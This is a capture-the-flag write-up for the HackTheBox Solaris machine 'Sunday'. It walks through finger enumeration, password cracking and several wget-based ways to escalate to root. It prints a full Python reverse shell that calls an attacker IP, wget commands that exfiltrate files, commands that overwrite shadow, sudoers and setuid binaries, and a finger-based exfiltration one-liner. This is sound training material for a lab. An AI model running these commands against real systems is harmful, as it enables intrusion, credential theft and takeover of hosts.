Sunday is definitely one of the easier boxes on HackTheBox. It had a lot of fun concepts, but on a crowded server, they step on each other. We start by using finger to brute-force enumerate users, though once once person logs in, the answer is given to anyone working that host. I’m never a huge fan of asking people to just guess obvious passwords, but after that, there are a couple more challenges, including a troll that proves useful later, some password cracking, and a ton of neat opportunities to complete the final privesc using wget. I’ll show 6 ways to use wget to get root. Finally, in Beyond Root, I’ll explore the overwrite script being run by root, finger for file transfer, and execution without read.

Recon

nmap

nmap shows four ports open, including ssh on a non-standard port (22022), finger, and rpc with smserverd running. It also reveals Sunday is a Solaris host. This output was from when I initially solved Sunday. I’ll discuss how that changes the finger output in the next section.

root@kali# nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.76
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-03 11:08 EDT
Warning: 10.10.10.76 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.76
Host is up (0.096s latency).
Not shown: 61176 filtered ports, 4355 closed ports
PORT      STATE SERVICE
79/tcp    open  finger
111/tcp   open  rpcbind
22022/tcp open  unknown
65258/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 140.89 seconds
root@kali# nmap -sV -sC -p 79,111,22022,65258 -oA nmap/scripts 10.10.10.76
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-03 11:11 EDT
Nmap scan report for 10.10.10.76
Host is up (0.096s latency).

PORT      STATE SERVICE   VERSION
79/tcp    open  finger    Sun Solaris fingerd
| finger: Login       Name               TTY         Idle    When    Where\x0D
| sunny    sunny                 pts/1            Thu 14:52  10.10.14.245        \x0D
| sunny    sunny                 pts/2          4 Thu 13:55  10.10.15.182        \x0D
| sunny    sunny                 pts/4          2 Thu 13:55  10.10.16.94         \x0D
| sunny    sunny                 pts/5          8 Thu 14:52  10.10.15.42         \x0D
| sunny    sunny                 pts/6         21 Thu 14:14  10.10.14.120        \x0D
| sunny    sunny                 pts/7          2 Thu 14:32  10.10.15.138        \x0D
| sunny    sunny                 pts/8         49 Thu 14:20  10.10.15.167        \x0D
| sunny    sunny                 pts/9          9 Thu 14:28  10.10.14.122        \x0D
| sammy    sammy                 pts/10           Thu 15:07  10.10.14.78         \x0D
| sunny    sunny                 pts/11         1 Thu 15:06  10.10.16.73         \x0D
| sammy    sammy                 pts/12         4 Thu 14:44  10.10.15.38         \x0D
| sammy    sammy                 pts/13           Thu 15:10  10.10.15.182        \x0D
|_sammy    sammy                 pts/14         1 Thu 15:06  10.10.15.213        \x0D
111/tcp   open  rpcbind   2-4 (RPC #100000)
22022/tcp open  ssh       SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
65258/tcp open  smserverd 1 (RPC #100155)
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.97 seconds

finger

Overview

The finger daemon listens on port 79, and is really a relic of a time when computers were far too trusting and open. It provides status reports on logged in users. It can also provide details about a specific user and when they last logged in and from where.

Using finger

The finger nmap script returned a long list of logged in users, providing two user names, sunny and sammy. That said, if you look at this box on a non-crowded VIP server now, it’s certainly possible that there are no logged in users.

Running finger @[ip] will tell us of any currently logged in users:

root@kali# finger @10.10.10.76
No one logged on

This is the same command that the nmap script runs. So were that same scan run now, we would get an empty result (as opposed to seeing all the logins when I originally ran it).

finger can also check for details on a specific user. Try one that doesn’t exist:

root@kali# finger 0xdf@10.10.10.76
Login       Name               TTY         Idle    When    Where
0xdf                  ???

If the user does exist, information will come back. I’ll show that below once we find a user name.

Brute Force

If finger returns no logged in users, we can try to brute force usernames. We’ll use the finger-user-enum.pl script from pentestmonkey.

root@kali# ./finger-user-enum.pl -U /opt/SecLists/Usernames/Names/names.txt -t 10.10.10.76
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Worker Processes ......... 5
Usernames file ........... /opt/SecLists/Usernames/Names/names.txt
Target count ............. 1
Username count ........... 10163
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used

######## Scan started at Thu Sep 27 17:39:02 2018 #########
access@10.10.10.76: access No Access User                     < .  .  .  . >..nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >..
admin@10.10.10.76: Login       Name               TTY         Idle    When    Where..adm      Admin                              < .  .  .  . >..lp       Line Printer Admin                 < .  .  .  . >..uucp     uucp Admin                         < .  .  .  . >..nuucp    uucp Admin                         < .  .  .  . >..dladm    Datalink Admin                     < .  .  .  . >..listen   Network Admin                      < .  .  .  . >..
anne marie@10.10.10.76: Login       Name               TTY         Idle    When    Where..anne                  ???..marie                 ???..
bin@10.10.10.76: bin             ???                         < .  .  .  . >..
dee dee@10.10.10.76: Login       Name               TTY         Idle    When    Where..dee                   ???..dee                   ???..
jo ann@10.10.10.76: Login       Name               TTY         Idle    When    Where..jo                    ???..ann                   ???..
la verne@10.10.10.76: Login       Name               TTY         Idle    When    Where..la                    ???..verne                 ???..
line@10.10.10.76: Login       Name               TTY         Idle    When    Where..lp       Line Printer Admin                 < .  .  .  . >..
message@10.10.10.76: Login       Name               TTY         Idle    When    Where..smmsp    SendMail Message Sub               < .  .  .  . >..
miof mela@10.10.10.76: Login       Name               TTY         Idle    When    Where..miof                  ???..mela                  ???..
sammy@10.10.10.76: sammy                 pts/2        <Sep 27 13:55> 10.10.16.26         ..
sunny@10.10.10.76: sunny                 pts/3        <Apr 24 10:48> 10.10.14.4          ..
sys@10.10.10.76: sys             ???                         < .  .  .  . >..
zsa zsa@10.10.10.76: Login       Name               TTY         Idle    When    Where..zsa                   ???..zsa                   ???..
######## Scan completed at Thu Sep 27 17:44:39 2018 #########
14 results.

10163 queries in 337 seconds (30.2 queries / sec)

There’s some garbage in there, but two interesting usernames:

sammy@10.10.10.76: sammy                 pts/2        <Sep 27 13:55> 10.10.16.26         ..
sunny@10.10.10.76: sunny                 pts/3        <Apr 24 10:48> 10.10.14.4          ..

Now we can compare the results of finger for a name that exists and one that doesn’t:

root@kali# finger 0xdf@10.10.10.76
Login       Name               TTY         Idle    When    Where
0xdf                  ???
root@kali# finger sunny@10.10.10.76
Login       Name               TTY         Idle    When    Where
sunny    sunny                 pts/2            Fri 11:06  10.10.14.5

User Shell - SSH As sunny

With two known accounts, and ssh, it’s worth guessing a few passwords. I always try admin, root, the box name, and any defaults for the application. Turns out sunny/sunday works:

root@kali# ssh -p 22022 sunny@10.10.10.76
Password:
Last login: Thu May  3 15:25:35 2018 from 10.10.14.12
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sunny@sunday:~$ pwd
/export/home/sunny
sunny@sunday:~$ id
uid=65535(sunny) gid=1(other) groups=1(other)

Privesc: sunny to sammy

Find Backup shadow

Inside /backup there’s a copy of a shadow file that is world readable:

sunny@sunday:/backup$ ls -l
total 2
-r-x--x--x 1 root root  53 2018-04-24 10:35 agent22.backup
-rw-r--r-- 1 root root 319 2018-04-15 20:44 shadow.backup

sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Break with hashcat

Pulling back shadow.backup and the passwd file, and after using unshadow to create an unshadow file, john or hashcat can break both hashes. Here’s what the hashcat output looks like (with status messages cleaned out):

$ hashcat -m 7400 sunday.hashes /usr/share/wordlists/rockyou.txt --force
...[snip]...
$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:sunday
$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:cooldude!
...[snip]...

User Shell - SSH as sammy / user.txt

Armed with sammy’s password, it is now possible to ssh in as sammy:

root@kali# ssh -p 22022 sammy@10.10.10.76
Password:
Last login: Sat May  5 20:06:34 2018 from 10.10.14.112
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sammy@sunday:~$

sammy has access to user.txt:

sammy@sunday:~$ wc -c Desktop/user.txt
33 Desktop/user.txt

sammy@sunday:~$ cat Desktop/user.txt
a3d94980...

Privesc: sammy to root

Enumeration

In enumerating as sammy, I see that sammy can sudo wget without password (either in LinEnum.sh output or from checking sudo -l).

6 Methods to root Using wget

There’s a ton of things we can do from here. Reading the wget man page provides a wealth of ideas. I’ll show six examples.

–input-file

The easiest way to just get the flag is to take advantage of the --input-file or -i flag on wget. This flag allows you to provide a file with the urls to visit. When it reads the hash, the string will fail to process as a url, and will tell us so in an error message, complete with flag:

sammy@sunday:~$ sudo wget --input-file /root/root.txt
/root/root.txt: Invalid URL fb40fab6...: Unsupported scheme
No URLs found in /root/root.txt.

Post Flag

A second method to exfil the flag is to have wget post the file back to us using --post-file. Unfortunately, python SimpleHTTPServer doesn’t support POST requests:

root@kali# python3 -m http.server 443
Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ...
10.10.10.76 - - [27/Sep/2018 20:57:17] code 501, message Unsupported method ('POST')
10.10.10.76 - - [27/Sep/2018 20:57:17] "POST / HTTP/1.0" 501 -

However, in this, case I only need to read the POST, not respond to it, so a simple nc will work:

sammy@sunday:~$ sudo wget --post-file /root/root.txt http://10.10.14.5:443/
--00:52:35--  http://10.10.14.5:443/
           => `index.html'
Connecting to 10.10.14.5:443... connected.
HTTP request sent, awaiting response...
root@kali# nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.76] 49337
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.5:443
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

fb40fab6...

Overwrite troll

Enough just getting the flag. I obviously want a root shell.

This was actually how I first solved the box. When enumerating as sunny, I found a binary named troll that sunny could run with sudo without password:

sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
    (root) NOPASSWD: /root/troll

sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)

There’s nothing we could do with this as sunny. However, I think the box author expects us to use this file to privesc (hence the overwrite script).

So let’s make troll useful. First, on kali, create a shell.py, which is basically a nicely formatted reverse python shell from pentestmonkey:

#!/usr/bin/python

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.5",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

Serve it with SimpleHTTPServer, and request shell.py with wget, using the -O option, which will allow us to specify a file to write the wget output to, and it will overwrite that file if it already exists:

sammy@sunday:~$ sudo wget http://10.10.14.5/shell.py -O /root/troll
--01:07:04--  http://10.10.14.5/shell.py
           => `/root/troll'
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 246 [text/plain]

100%[==========================================================================================================================================================================================================>] 246           --.--K/s

01:07:04 (25.59 MB/s) - `/root/troll' saved [246/246]
root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.76 - - [27/Sep/2018 21:11:58] "GET /shell.py HTTP/1.0" 200 -

Run it with sunny:

sunny@sunday:~$ sudo /root/troll

And get callback:

root@kali# nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.76] 56164
root@sunday:~# id
uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon)

This is a bit trickier to pull off than it one might think at first, if you aren’t quick and lucky. That’s because of the overwrite script resetting troll to it’s original self every 5 seconds. Check out the Beyond Root section where I’ll look at detecting this. But for the sake of making it work, have the windows close together and run wget as sammy immediately followed by troll as sunny.

Here’s how I did it, with SimpleHTTPServer in the top window, then sammy SSH, then sunny SSH, and then nc listener to catch root shell:

1538099855160

Overwrite Different SUID Binary

If catching troll before it reverts was too much, it’s certainly easier to just overwrite a different set uid binary. Just make a backup copy of the original first, so you can put it back after exploiting. For example, /usr/bin/passwd:

sammy@sunday:~$ cp /usr/bin/passwd /tmp
sammy@sunday:~$ ls -la /usr/bin/passwd
-r-sr-sr-x 1 root sys 31584 2009-05-14 21:18 /usr/bin/passwd
sammy@sunday:~$ sudo wget -O /usr/bin/passwd http://10.10.14.5/shell.py
--02:09:34--  http://10.10.14.5/shell.py
           => `/usr/bin/passwd'
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 246 [application/octet-stream]

100%[==========================================================================================================================================================================================================>] 246           --.--K/s

02:09:34 (69.91 KB/s) - `/usr/bin/passwd' saved [246/246]

sammy@sunday:~$ passwd
root@kali# nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.76] 41346
# id
uid=101(sammy) gid=10(staff) euid=0(root) egid=3(sys) groups=10(staff)

Overwrite shadow

Overwriting /etc/passwd and/or /etc/shadow seemed to be the most common attempt to root this box, and it ended up with a lot of people screwing up the box and making it unusable. In fact, it led to people trying to do the finger enumeration in the initial stage and getting nothing back because the user list was jacked up.

In general, there are just better ways to do this. That said, if you want to go this route, here’s one way how.

Since we already have the shadow backup file, we’ll use that. It doesn’t have a root entry at the top, but let’s add one:

root:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

In this case, I’ve made the root entry the same as sunny, other than the username.

Then get it with wget, and then su and give it password “sunday”:

sammy@sunday:~$ sudo wget -O /etc/shadow http://10.10.14.5/shadow
--02:00:10--  http://10.10.14.5/shadow
           => `/etc/shadow'
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 392 [application/octet-stream]

100%[==========================================================================================================================================================================================================>] 392           --.--K/s

02:00:10 (42.45 MB/s) - `/etc/shadow' saved [392/392]

sammy@sunday:~$ su -
Password:
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
You have new mail.
root@sunday:~# id
uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon)

If I had wanted to give root a different password, and not just copy from sunny or sammy, I could use openssl:

root@kali# openssl passwd -1 -salt 0xdf password
$1$0xdf$fKKvgEPPSu1HMdNI3w5i50

Then put that into shadow:

root@kali# head -1 shadow
root:$1$0xdf$fKKvgEPPSu1HMdNI3w5i50:17636::::::

And now I can su with the password “password”.

Overwrite sudoers

The /etc/sudoers file defines who can run sudo on which applications. We can estimate that, without comments, the unmodified file on Sunday looks something like:

root  ALL=(ALL) ALL
sammy ALL=(root) NOPASSWD: /usr/bin/wget
sunny ALL=(root) NOPASSWD: /root/troll

Let’s change that slightly in a copy on our local host, giving sammy the ability to run su without password:

root  ALL=(ALL) ALL
sammy ALL=(root) NOPASSWD: /usr/bin/su
sunny ALL=(root) NOPASSWD: /root/troll

Now, use wget to overwrite the file on Sunday, and then it is easy to get a root shell:

sammy@sunday:~$ sudo wget -O /etc/sudoers http://10.10.14.5/sudoers
--02:07:08--  http://10.10.14.5/sudoers
           => `/etc/sudoers'
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 99 [application/octet-stream]

100%[==========================================================================================================================================================================================================>] 99            --.--K/s

02:07:08 (15.45 MB/s) - `/etc/sudoers' saved [99/99]

sammy@sunday:~$ sudo -l
User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/su
sammy@sunday:~$ sudo su
root@sunday:~# id
uid=0(root) gid=0(root)

Beyond Root

overwrite

What Is It

With a root shell, I found the overwrite script in the root home directory.

#!/usr/bin/bash

while true; do
        /usr/gnu/bin/cat /root/troll.original > /root/troll
        /usr/gnu/bin/sleep 5
done

It is consistent with the experience that troll is set back to it’s default state regularly to suspect that the script is running on the box. Further, it does show up in the processes list:

sammy@sunday:/tmp$ ps awux | grep overwrite
root       499  0.1  0.2 6204 2420 ?        S 01:41:01  0:09 /usr/bin/bash /root/overwrite

What Is It Doing

Without root access, how can we figure out what overwrite is doing?

I tried to compile pspy for solaris, but wasn’t able to get it to work. If you know how, please leave a comment.

So I dropped back to the bash process monitor that I’ve seen in ippsec videos and OSCP notes. I had to change a couple things to to get it working on Solaris. I also reduced the sleep time, and added the pid output to the ps command so that if the same command runs over and over, we’d still see that change :

sammy@sunday:/tmp$ cat pm.sh
#!/bin/bash

# Loop by line
IFS=$'\n'

old_process=$(ps -eo args -o pid)

while true; do
        new_process=$(ps -eo args -o pid)
        diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>] | grep -v "ps -eo args"
        sleep .1
        old_process=$new_process
done

Running this will show a new sleep 5 running every 5 seconds, as the pid of the sleep process changes:

sammy@sunday:/tmp$ ./pm.sh
< /usr/gnu/bin/sleep 5                                                             14430
> /usr/gnu/bin/sleep 5                                                             14453
< /usr/gnu/bin/sleep 5                                                             14453
> /usr/gnu/bin/sleep 5                                                             14486
< /usr/gnu/bin/sleep 5                                                             14486
> /usr/gnu/bin/sleep 5                                                             14524
< /usr/gnu/bin/sleep 5                                                             14524
> /usr/gnu/bin/sleep 5                                                             14557
< /usr/gnu/bin/sleep 5                                                             14557
> /usr/gnu/bin/sleep 5                                                             14597

Waiting for a while, we’ll occasionally see something like this:

< /usr/gnu/bin/sleep 5                                                             15283
> /usr/gnu/bin/sleep 5                                                             15319
< /usr/gnu/bin/sleep 5                                                             15319
> <defunct>                                                                        15355
< <defunct>                                                                        15355
> /usr/gnu/bin/sleep 5                                                             15357
< /usr/gnu/bin/sleep 5                                                             15357
> <defunct>                                                                        15393
< <defunct>                                                                        15393
> /usr/gnu/bin/sleep 5                                                             15394
< /usr/gnu/bin/sleep 5                                                             15394
> <defunct>                                                                        15429
< <defunct>                                                                        15429
> /usr/gnu/bin/sleep 5                                                             15431
< /usr/gnu/bin/sleep 5                                                             15431
> /usr/gnu/bin/sleep 5                                                             15467

If the script gets lucky with its timing, it will catch sleep dropping out of the process list and <defunct> being added, then immediately after it goes back to sleep. The <defunct> tag is assigned to zombie processes, who’s parent has not yet fully terminated them. In some cases, these processes linger around. In this case, it’s just our catching the process just after it completes but before it’s cleanly exited. Because it’s already terminated, we don’t get the command line. Still, we now know that something is running a very fast command (or maybe commands) and then sleeping for 5 seconds.

This is the best I was able to achieve as far as determining what overwrite was doing with only sammy access. If you have better ideas, I’d love to hear them in the comments.

finger for File Transfer

While working on this post, I was checking out gtfobins, and their page on finger shows how it can be used for file transfer. For example, to exfil the password file from Sunday, with the listener started locally:

root@sunday:~# finger "$(base64 /etc/passwd)"@10.10.14.5
[10.10.14.5]
root@kali# nc -lnvp 79 | base64 -d > passwd
listening on [any] 79 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.76] 54768

root@kali# cat passwd
root:x:0:0:Super-User:/root:/usr/bin/bash
daemon:x:1:1::/:
...[snip]...

You can upload files to a target machine as well:

root@kali# cat shell.py | base64 | nc -lp 79
root@sunday:~# finger x@10.10.14.5 > shell.b64

The resulting file in this case had some IP info, separated with a newline, but we can clean that up:

root@sunday:~# cat  shell.b64
[10.10.14.5]
IyEvdXNyL2Jpbi9weXRob24KCmltcG9ydCBzb2NrZXQKaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IG9zCgpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm
5lY3QoKCIxMC4xMC4xNC41Iiw0NDMpKQpvcy5kdXAyKHMuZmlsZW5vKCksMCkKb3MuZHVwMihzLmZpbGVubygpLDEpCm9zLmR1cDIocy5maWxlbm8oKSwyKQpwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2gi
LCItaSJdKTsK

root@sunday:~# cat  shell.b64 | head -2 | tail -1 | base64 -d
#!/usr/bin/python

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.5",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

agent22

Discovery

When on as sunny, I noticed a second file in the /backup directory next to the shadow backup:

sunny@sunday:/backup$ ls -l
total 2
-r-x--x--x 1 root root  53 2018-04-24 10:35 agent22.backup
-rw-r--r-- 1 root root 319 2018-04-15 20:44 shadow.backup

And while we don’t have permission to read the file, we can try to run it:

sunny@sunday:/backup$ ./agent22.backup
/usr/bin/bash: ./agent22.backup: Permission denied

Permissions Issues

So why permission denied? It comes down to what is happening when ./program is run. If that program is a binary (ie, elf), first the kernel checks if the current user has permission to execute the file, and then the file is read by the kernel and loaded into memory by the kernel.

However, in the case of interpreted scripts (python, perl, bash, sh, etc), it is the interpreter that is loaded by the kernel, as the current user, and then that interpreter tries to read the files contents and run them. But, in this case, since the interpreter, running as sunny, doesn’t have read permissions on the file, it is denied.

What Is It

With a root shell, we discover that this is actually just a backup copy of troll:

root@sunday:/backup# cat agent22.backup
#!/usr/bin/bash

/usr/bin/echo "testing"
/usr/bin/id
root@sunday:/# diff -s /root/troll /backup/agent22.backup
Files /root/troll and /backup/agent22.backup are identical